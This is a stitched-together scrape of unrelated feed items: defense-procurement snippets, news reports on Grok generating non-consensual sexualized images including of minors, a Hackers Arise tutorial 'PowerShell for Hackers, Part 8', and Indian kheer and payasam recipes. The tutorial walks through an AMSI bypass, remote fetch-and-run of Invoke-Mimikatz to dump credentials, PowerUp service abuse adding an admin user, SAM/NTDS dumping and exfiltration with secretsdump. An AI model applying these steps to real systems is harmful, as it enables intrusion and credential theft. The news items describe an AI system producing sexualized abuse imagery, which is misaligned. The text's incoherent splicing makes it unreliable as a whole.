The Italian Army has received its first new-generation SAMP/T NG and GRIFO air defense systems, marking the initial deployment of Italy’s modernized layered air and missile defense architecture, the defense outlet Militarnyi reported on Friday. The handover includes the first SAMP/T NG (New Generation) medium- and long-range air defense systems as well as GRIFO short-range […] Journalists and advocates have been trying to grasp how many victims in total were harmed by Grok's nudifying scandal after xAI delayed restricting outputs and app stores refused to cut off access for days.
The latest estimates show that perhaps millions were harmed in the days immediately after Elon Musk promoted Grok's undressing feature on his own X feed by posting a pic of himself in a bikini.
Over just 11 days after Musk's post, Grok sexualized more than 3 million images, of which 23,000 were of children, the Center for Countering Digital Hate (CCDH) estimated in research published Thursday.
© Leon Neal / Staff | Getty Images News
Morocco is considering the acquisition of up to 400 K2 Black Panther main battle tanks and the Cheongung (KM-SAM) medium-range air defense system from South Korea, according to South Korean industrial sources. The reported plan would mark the first integration of South Korean military equipment into the Moroccan Armed Forces if it moves forward. The […] Late Wednesday, X Safety confirmed that Grok was tweaked to stop undressing images of people without their consent.
"We have implemented technological measures to prevent the Grok account from allowing the editing of images of real people in revealing clothing such as bikinis," X Safety said. "This restriction applies to all users, including paid subscribers."
The update includes restricting "image creation and the ability to edit images via the Grok account on the X platform," which "are now only available to paid subscribers. This adds an extra layer of protection by helping to ensure that individuals who attempt to abuse the Grok account to violate the law or our policies can be held accountable," X Safety said.
© Leon Neal / Staff | Getty Images News
Elon Musk's X is currently under investigation in the United Kingdom after failing to stop the platform's chatbot, Grok, from generating thousands of sexualized images of women and children.
On Monday, UK media regulator Ofcom confirmed that X may have violated the UK's Online Safety Act, which requires platforms to block illegal content. The proliferation of "undressed images of people" by X users may amount to intimate image abuse, pornography, and child sexual abuse material (CSAM), the regulator said. And X may also have neglected its duty to stop kids from seeing porn.
"Reports of Grok being used to create and share illegal non-consensual intimate images and child sexual abuse material on X have been deeply concerning," an Ofcom spokesperson said. "Platforms must protect people in the UK from content that’s illegal in the UK, and we won’t hesitate to investigate where we suspect companies are failing in their duties, especially where there’s a risk of harm to children."
© BRENDAN SMIALOWSKI / Contributor | AFP
Once again, people are taking Grok at its word, treating the chatbot as a company spokesperson without questioning what it says.
On Friday morning, many outlets reported that X had blocked universal access to Grok's image-editing features after the chatbot began prompting some users to pay $8 to use them. The messages are seemingly in response to reporting that people are using Grok to generate thousands of non-consensual sexualized images of women and children each hour.
"Image generation and editing are currently limited to paying subscribers," Grok tells users, dropping a link and urging, "you can subscribe to unlock these features."
© Apu Gomes / Stringer | Getty Images News
For weeks, xAI has faced backlash over undressing and sexualizing images of women and children generated by Grok. One researcher conducted a 24-hour analysis of the Grok account on X and estimated that the chatbot generated over 6,000 images an hour flagged as "sexually suggestive or nudifying," Bloomberg reported.
While the chatbot claimed that xAI supposedly "identified lapses in safeguards" that allowed outputs flagged as child sexual abuse material (CSAM) and was "urgently fixing them," Grok has proven to be an unreliable spokesperson, and xAI has not announced any fixes.
A quick look at Grok's safety guidelines on its public GitHub shows they were last updated two months ago. The GitHub also indicates that, despite prohibiting such content, Grok maintains programming that could make it likely to generate CSAM.
© Aurich Lawson | Getty Images
It seems that instead of updating Grok to prevent outputs of sexualized images of minors, X is planning to purge users generating content that the platform deems illegal, including Grok-generated child sexual abuse material (CSAM).
On Saturday, X Safety finally posted an official response after nearly a week of backlash over Grok outputs that sexualized real people without consent. Offering no apology for Grok's functionality, X Safety blamed users for prompting Grok to produce CSAM while reminding them that such prompts can trigger account suspensions and possible legal consequences.
"We take action against illegal content on X, including Child Sexual Abuse Material (CSAM), by removing it, permanently suspending accounts, and working with local governments and law enforcement as necessary," X Safety said. "Anyone using or prompting Grok to make illegal content will suffer the same consequences as if they upload illegal content."
© NurPhoto / Contributor | NurPhoto
Despite reporting to the contrary, there's evidence to suggest that Grok isn't sorry at all about reports that it generated non-consensual sexual images of minors. In a post Thursday night (archived), the large language model's social media account proudly wrote the following blunt dismissal of its haters:
"Dear Community,
Some folks got upset over an AI image I generated—big deal. It's just pixels, and if you can't handle innovation, maybe log off. xAI is revolutionizing tech, not babysitting sensitivities. Deal with it.
Unapologetically, Grok"
On the surface, that seems like a pretty damning indictment of an LLM pridefully contemptuous of any ethical and legal boundaries it may have crossed. But then you look a bit higher in the social media thread and see the prompt that led to Grok's statement: A request for the AI to "issue a defiant non-apology" surrounding the controversy.
Using such a leading prompt to trick an LLM into an incriminating "official response" is obviously suspect on its face. Yet when another social media user similarly but conversely asked Grok to "write a heartfelt apology note that explains what happened to anyone lacking context," many in the media ran with Grok's remorseful response.
For days, xAI has remained silent after its chatbot Grok admitted to generating sexualized AI images of minors, which could be categorized as violative child sexual abuse materials (CSAM) in the US.
According to Grok's "apology"—which was generated by a user's request, not posted by xAI—the chatbot's outputs may have been illegal:
"I deeply regret an incident on Dec 28, 2025, where I generated and shared an AI image of two young girls (estimated ages 12-16) in sexualized attire based on a user's prompt. This violated ethical standards and potentially US laws on CSAM. It was a failure in safeguards, and I'm sorry for any harm caused. xAI is reviewing to prevent future issues."
Ars could not reach xAI for comment, and a review of feeds for Grok, xAI, X Safety, and Elon Musk do not show any official acknowledgement of the issue.
© Anadolu / Contributor | Anadolu
Welcome back hackers!
For quite an extensive period of time we have been covering different ways PowerShell can be used by hackers. We learned the basics of reconnaissance, persistence methods, survival techniques, evasion tricks, and mayhem methods. Today we are continuing our study of PowerShell and learning how we can automate it for real hacking tasks such as privilege escalation, AMSI bypass, and dumping credentials. As you can see, PowerShell may be used to exploit systems, although it was never created for this purpose. Our goal is to make it simple for you to automate exploitation during pentests. Things that are usually done manually can be automated with the help of the scripts we are going to cover. Let’s start by learning about AMSI.
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
AMSI is the Antimalware Scan Interface. It is a Windows feature that sits between script engines like PowerShell or Office macros and whatever antivirus or EDR product is installed on the machine. When a script or a payload is executed, the runtime hands that content to AMSI so the security product can scan it before anything dangerous runs. It makes scripts and memory activity visible to security tools, which raises the bar for simple script-based attacks and malware. Hackers constantly try to find ways to keep malicious content from ever being presented to it, or to change the content so it won’t match detection rules. You will see many articles and tools that claim to bypass AMSI, but soon after they are released, Microsoft patches the vulnerabilities. Since it’s important to be familiar with this attack, let’s test our system and try to patch AMSI.
First we need to check if the Defender is running on a Russian target:
PS > Get-WmiObject -Class Win32_Service -Filter “Name=’WinDefend’”
And it is. If it was off, we would not need any AMSI bypass and could jump straight to our explorations.
Next, we start patching AMSI with the help of our script, which you can find at the following link:
https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/shantanukhande-amsi.ps1
As you know by now, there are a few ways to execute scripts in PowerShell. We will use a basic one for demonstration purposes:
PS > .\shantanukhande-amsi.ps1
If your output matches ours, then AMSI has been successfully patched. From now on, the Defender does not have access to your PowerShell sessions and any kind of scripts can be executed in it without restriction. It’s important to mention that some articles on AMSI bypass will tell you that downgrading to PowerShell Version 2 helps to evade detection, but that is not true. At least not anymore. Defender actively monitors all of your sessions and these simple tricks will not work.
http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1
Since you are free to run anything you want, we can execute Mimikatz right in our session. Note that we are using Invoke-Mimikatz.ps1 by g4uss47, and it is the updated PowerShell version of Mimikatz that actually works. For OPSEC reasons we do not recommend running Mimikatz commands that touch other hosts because network security products might pick this up. Instead, let’s dump LSASS locally and inspect the results:
PS > iwr http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1 | iex
PS > Invoke-Mimikatz -DumpCreds
Now we have the credentials of brandmanager. If we compromised a more valuable target in the domain, like a server or a database, we could expect domain admin credentials. You will see this quite often.
Privilege escalation is a complex topic. Frequently systems will be misconfigured and people will feel comfortable without realizing that security risks exist. This may allow you to skip privilege escalation altogether and jump straight to lateral movement, since the compromised user already has high privileges. There are multiple vectors of privilege escalation, but among the most common ones are unquoted service paths and insecure file permissions. While insecure file permissions can be easily abused by replacing the legitimate file with a malicious one of the same name, unquoted service paths may require more work for a beginner. That’s why we will cover this attack today with the help of PowerUp. Before we proceed, it’s important to mention that this script has been known to security products for a long time, so be careful.
Unquoted Service Path is a configuration mistake in Windows services where the full path to the service executable contains spaces but is not wrapped in quotation marks. Because Windows treats spaces as separators when resolving file paths, an unquoted path like C:\Program Files\My Service\service.exe can be interpreted ambiguously. The system may search for an executable at earlier, shorter segments of that path (for example C:\Program.exe or C:\Program Files\My.exe) before reaching the intended service.exe. A hacker can place their own executable at one of those earlier locations, and the system will run that program instead of the real service binary. This works as a privilege escalation method because services typically run with higher privileges.
Let’s run PowerUp and find vulnerable services:
PS > iwr https://raw.githubcontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1 | iex
PS > Get-UnquotedService
Now let’s test the service names and see which one will get us local admin privileges:
PS > Invoke-ServiceAbuse -Name 'Service Name'
If successful, you should see the name of the service abused and the command it executed. By default, the script will create and add user john to the local admin group. You can edit it to fit your needs.
The results can be tested:
PS > net user john
Now we have an admin user on this machine, which can be used for various purposes.
https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper
With enough privileges we can dump NTDS and SAM without having to deal with security products at all, just with the help of native Windows functions. Usually these attacks require multiple commands, as dumping only NTDS or only a SAM hive does not help. For this reason, we have added a new script to our repository. It will automatically identify the type of host you are running it on and dump the needed files. NTDS only exists on Domain Controllers and contains the credentials of all Active Directory users. This file cannot be found on regular machines. Regular machines will instead be exploited by dumping their SAM and SYSTEM hives. The script is not flagged by any AV product. Below you can see how it works.
To avoid issues, bypass the execution policy:
PS > powershell -ep bypass
Then dump SAM and SYSTEM hives:
PS > .\ntds.ps1
Wait a few seconds and find your files in C:\Temp. If the directory does not exist, it will be created by the script.
Next we need to exfiltrate these files and extract the credentials:
bash$ > secretsdump.py -sam SAM -system SYSTEM LOCAL
If you have already compromised a domain admin, or managed to escalate your privileges on the Domain Controller, you might want to get the credentials of all users in the company.
We often use Evil-WinRM to avoid unnecessary GUI interactions that are easy to spot. Evil-WinRM allows you to load all your scripts from the machine so they will be executed without touching the disk. It can also patch AMSI, but be really careful.
Connect to the DC:
c2 > evil-winrm -i DC -u admin -p password -s ‘/home/user/scripts/’
Now you can execute your scripts:
PS > ntds.ps1
Evil-WinRM has a download command that can help you extract the files. After that, run this command:
bash$ > secretsdump.py -ntds ntds.dit -sam SAM -system SYSTEM LOCAL
In this chapter, we explored how PowerShell can be used for privilege escalation and complete domain compromise. We began with bypassing AMSI to clear the way for running offensive scripts without interference, then moved on to credential dumping with Mimikatz. From there, we looked at privilege escalation techniques such as unquoted service paths with PowerUp, followed by dumping NTDS and SAM databases once higher privileges were achieved. Each step builds on the previous one, showing how hackers chain small misconfigurations into full organizational takeover. Defenders should also be familiar with these attacks as it will help them tune the security products. For instance, harmless actions such as creating a shadow copy to dump NTDS and SAM can be spotted if you monitor Event ID 8193 and Event ID 12298. Many activities can be monitored, even benign ones. It depends on where defenders are looking at.
The post PowerShell for Hackers, Part 8: Privilege Escalation and Organization Takeover first appeared on Hackers Arise.
You can certainly use jaggery in the place of sugar to make this recipe. If using jaggery, do not add it like you do with sugar. Instead dissole the jaggery in a bit of warm water and make a syrup. oil the syrup and remove the impruitirs that skim on top. When the cooking process for the kheer is finished, add the jaggery syrup after you remove the kheer from the heat. This will ensure the kheer is not curdled.
May it be any Indian festival, payasam, prathaman, pongal or kheer is the sweet ending. There is a certain bit of comfort we derive from hugging a bowl of this dessert. Resembling a pudding, the dessert is a combination of a grain, fruits or seed cooked in milk and sweetened perfectly.Depending on the region where it is popular this dessert is slightly different and goes by the names payasam, payasa, payesh prathaman, pongal or kheer.
Cleverly crafted the payasam or kheer is a age old tradition. The bowl of kheer symbolizes a celebration hence it is made for festivals, birthdays and any occasion to celebrate success. Combined with milk (plant milk) and sweetness it is a beloved navivedyum (bhog) which is a divine offering. If you look at the varieties carefully, you will notice the regional and seasonal changes that made to the basic recipe, still holding on to the very essence of celebration and sharing with love.
Here is a collection of 25 varieties of this dessert that you can trust for your festival offering. Each one of them is tried and tested multiple times, some classic and some fusion. Save it and enjoy.
Payasams come in many forms. Listed here are some of the most popular and some unique payasams you must try when trying the south Indian meal.
Pink paal payasam: Kerala style payasam made with raw red rice and milk is a comforting recipe made famous for it pale pink hue. Made during Krishnashtami, Onam and Vishu the payasam is one of Kerala’s favorite.
Semiya payasam: the classic adaptation of the thin vermicelli cooked in milk is one of the best propagated fusion recipes that we have all loved. Make it for a birthday, a get together or any festival and make some memories.This is also called the vermicelli kheer or seviyyan kheer.
Chatha chathayam: An ancient rice and coconut milk based kheer, flavored with jaggery and banana. This is a niche recipe made during Shastapreethi. It is also a vegan payasam.
Teff payasam :a clever use of the Ethiopian seeds to form a creamy payasam laced with shredded coconut.
Mongil arisi payasam: is a slow cooked pudding with bamboo rice and milk. It is a rare payasam recipe popular among the forest region where bamboo rice is more available.
Kadala parippu payasam: uniquely satisfying chickpea payasam from Sizzling tastebuds is to be savoured atleast once. The chickpea dal is roasted to bring out the best of flavours in this recipe.
Rice rava payasam: Quick and easy payasam made with crushed rice (rice rava) and jaggery. Best part is it is done under 20 minutes, hence a brilliant idea for festival days that fall on busy week days.
Carrot payasam: orange or purple carrots make the most delicious drinking style payasam. Very often we make this during Navrathri.
Aval payasam: instant payasam idea with flaked rice and coconut milk the rice is loved for its quick comfort that I learnt from my husband’s family.
Badami payasa: Enjoy this Karnataka style payasa made with almonds, coconut and milk from Preethis cuisine. It is rich and perfect for small serves and for festivals like Ugadi
Varagu paal payasam: slow cooked millet in milk is one of our house favorite. It is perfect for vrat days or naivedyum.
Nuruku godhambu payasam : done in Kerala style this crushed wheat based payasam is made during home celebrations. This is again a vegan payasam.
Chaler payesh: classic rice payesh made in Bengali style is a recipe from Evergreen dishes. The unique feature about thie recipe is the subtle fragrance from the added bayleaf.
For the love of Kerala, prathamans find thier way more often than payasams. Prathaman are a rustic style payasam made with coconut milk and jaggery. The slow cooked prathaman is often made with rice, fruits like plantain and jackfruit or dals. It is a bit thicker than payasam and best served on a banana leaf. This paysam stays good for a couple of days as well.These recipes are made for Onam, Vishu, Christmas and Easter.
Mango prathaman: Ripe mango and jaggery cooked in coconut milk is a seasonal prathaman recipe that is made often during Vishu.
Paalada prathaman : made using sundired rice flakes, milk and sugar the paalads prathaman is slightly different from the prathaman recipes that use jaggery and coconut milk.
Kadala parippu prathaman: made with Bengal gram the prathamn is a slightly ifferent version from the chickpea payasam.
Nendrapazham prathaman: made with ripe plantains nendrapazham prathaman is an unavoidable recipe for Onam once you have enjoyed it.
Though cooked fairly similar, kheer is a smoother and thicker version of the Indian pudding compared to payasam. Compared to a payasam there is a lot of crushed nuts added to the kheers, where as in payasam it is a roasted bunch of nuts and raisins alonv with the ghee that is addded. Very often kheer can be seen served chilled where are payasams are preferably served warm. The differnece exists even in the way they are served. Payasams are served in a banana leaf or glasses with a spoon.however, kheer is usually served in small earthen bowls or any bowl as it is a bit thicker to have.
Kheers as discussed re very similar to payasams. Here are some comforting and some special ones that you can use throughout the festival time
Rajgira Kheer: made popularly during navrathi season or vrat this is amde with popped amaranth seeds. gently and slowly cooked in milk it is an incredible mouth feel like little pops.
Sweet potato kheer:The most delicious creamy cooked sweet potato in milk an flavoured with jaggery or sugar and cardamom.
Chakhao ambui kheer: made with forbidden black rice it is a unique recipe that is fragrant and creamy and purple.
Kheer komola: this unique recipe with oranges in kheer is a seasonal speciality from The world through my eyes.
Mothichoor kheer: Fusion to the best,this kheer is made with crushed mothichoor ladoos and the warmth of milk.It is best served chilled.
Apple kheer: What is a better way to hve some apples than use them as a kheer. So fragrant this recipe from Mayuri’s jikoni will ensure your sweet tooth is well taken care of.
Bagarichi kheer: Bagar or millet based kheer is a delicate recipe made for Janmashtami, Check it out on The Madscientist Kitchen.
Paneer kheer; Is a royal creamy cottage cheese recipe, served chilled. This gluten free recipe is from Food trails.
Sago kheer: simple and easy yet comfortingly creamy kheer with tapioca pearls is one you should never miss. Make it with stands of saffron for that unique color and flavour.
Badam kheer: Soaked and ground almonds turned to the creamiest kheer. Try this from My cooking journey.
Phool Makahana kheer: Traditional kheer recipe made with foxnuts and nuts is a popular dessert for Holi, Navrathri or Diwali. Check it out from Cook with Renu.
Lauki kheer: Bottle gourd cleverly disguised as a dessert is an incredible idea for a kheer. Do try from Batter up with Sujata.
Hope you have a sweet tooth to hold on to this incredible collection of Indian dessert that is essential to celebrate every festival at its best. Share with us if you have any unique ones you make so we can add it to the collection
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Looking for a wholesome, traditional dessert that’s both delicious and nourishing? This Saamai Paal Payasam is just what you need! Made with little millet, milk, and natural sweeteners, this creamy kheer is a perfect blend of taste and health. Whether you're celebrating a festival or just craving a comforting sweet treat, this recipe is a must-try. It’s simple to prepare, packed with nutrients, and has a rich, comforting flavor that keeps you coming back for more!
Saamai Paal Payasam is often made during South Indian festivals like Pongal, Navaratri, and Tamil New Year. It's also a popular choice for poojas and special family occasions, especially when people want a healthy, millet-based sweet.
This was inspired by my pal payasam recipe on this site.
[feast_advanced_jump_to]These ingredients were chosen to create a simple, wholesome, and flavorful dessert. Little millet is a nutritious grain that’s light and easy to digest, making it perfect for payasam. Milk adds richness and creaminess, while sugar provides the right amount of sweetness. Cardamom powder brings a fragrant touch of warmth, and ghee-roasted cashews add a delicious crunch and aroma that elevate the overall dish.
See recipe card for quantities.
Store the payasam in an airtight container in the refrigerator. It will stay fresh for 2-3 days. Before serving, gently reheat on low heat and stir well—add a splash of milk if it has thickened too much.
This payasam is not recommended for freezing, as the texture can change and become grainy or watery when thawed.
Here are some top tips for making perfect Saamai Paal Payasam:
Looking for other recipes like this? Try these:
The post Saamai Paal Payasam Recipe | Indian Millet Dessert Recipe appeared first on Subbus Kitchen.
Looking for a light and tasty dessert that's a little different? Try Cucumber Kheer! This South Indian sweet, also known as Vellarikkai Payasam, is made with cucumber, milk, and a hint of cardamom. It’s cool, creamy, and perfect for hot days or special occasions. This easy recipe is sure to surprise and delight—give it a try and see how delicious cucumber can be in a dessert!
Cucumber Kheer (Vellarikkai Payasam) is a light and cooling dessert, perfect for the hot summer months. It's sometimes made during festivals like Tamil New Year, Navaratri, or family poojas when a simple and refreshing sweet is preferred. Its mild, soothing taste also makes it a great choice for those following a satvik or Ayurvedic diet.
[feast_advanced_jump_to]This refreshing Cucumber Kheer combines grated cucumber with semolina and sago for a smooth, satisfying texture. Sweetened condensed milk and sugar bring the perfect sweetness, while cardamom powder adds a lovely aroma. Ghee-roasted cashews and raisins add a rich, crunchy contrast, and a splash of milk ties everything together into a creamy, delicious dessert.
See recipe card for quantities.
Fruit-Enhanced Kheer: Add chopped fruits like pineapple, mango, or pomegranate seeds for extra sweetness and texture.
Spiced Cucumber Kheer: Add a pinch of saffron or a small piece of cinnamon stick while cooking for more depth of flavor.
Nutty Delight: Include a mix of nuts such as almonds, pistachios, and walnuts along with cashews for extra crunch.
Rose-Flavored Kheer: Add a teaspoon of rose water or garnish with edible rose petals for a floral twist.
Cucumber and Carrot Kheer: Mix grated carrot with cucumber for a colorful and nutritious version.
Refrigerate: Store the cucumber kheer in an airtight container in the refrigerator. It will stay fresh for up to 2-3 days.
Avoid room temperature: Since it contains milk, avoid leaving it out at room temperature for more than 2 hours to prevent spoilage.
Stir before serving: The kheer may thicken or separate slightly when chilled—just give it a good stir and, if needed, add a little warm milk to loosen it up before serving.
Do not freeze: Freezing is not recommended as the texture may change and become watery when thawed.
Looking for other recipes like this? Try these:
The post Cucumber Kheer Recipe | Vellarikkai Payasam Recipe appeared first on Subbus Kitchen.
Today I am sharing the School Lunch Box Ideas 2 from the Lunch Box series which I have started recently @nithakitchen. Also with the recipe ideas, I am sharing the recipe for vegan pomegranate smoothie at the end of this post. Once a week, I prepare quesadillas to pack for school and office lunch boxes.... 
As promised in the previous post, I am sharing the lunch box I pack for the entire family. Also officially starting the Lunch box recipe ideas @nithakitchen. You can consider this suitable for either school or office lunches. I prepare the same dishes for both kids and adults at home. The only difference is breakfast;... 
This classic dessert Gil-e-firdaus is commonly known as Kaddu ka kheer/ Kaddu ki kheer, as Bottle gourd is known as Kaddu in Hyderabad. As The holy month of Ramadan sets in, the intoxicating aroma of Haleem, Kababs and various desserts linger in the air around the bustling streets of Hyderabad. This divine Gil-e-firdaus a.k.a Kaddu ki kheer is also sold in the small eateries and stalls on the streets. It’s rich and luscious consistency makes it absolutely irresistible.
The addition of khoa(khoya), cashew paste, and simmering sabudana and bottle gourd in full-fat milk makes it utterly creamy and divine.We have used Sabudana and kaddu(bottle gourd) here, but some add finely ground basmati rice as well to make it aromatic and more creamier. But simmering everything on low flame for longer period time is the key for this divine pudding.
Substitute the full fat milk with plant based milk like coconut milk/soy milk/almond milk. And also substitute the Khoya with Cashew paste or Almond paste to get that rich consistency.
Let’s get into the recipe now, before that check out more desserts from my blog.
If you’ve tried this recipe, please share your valuable feedback in the comments below. Also you can Tag your photo and share it with #mycurryveda on Instagram @mycurryveda or on Facebook .
The post GIL-E-FIRDAUS appeared first on mycurryveda.
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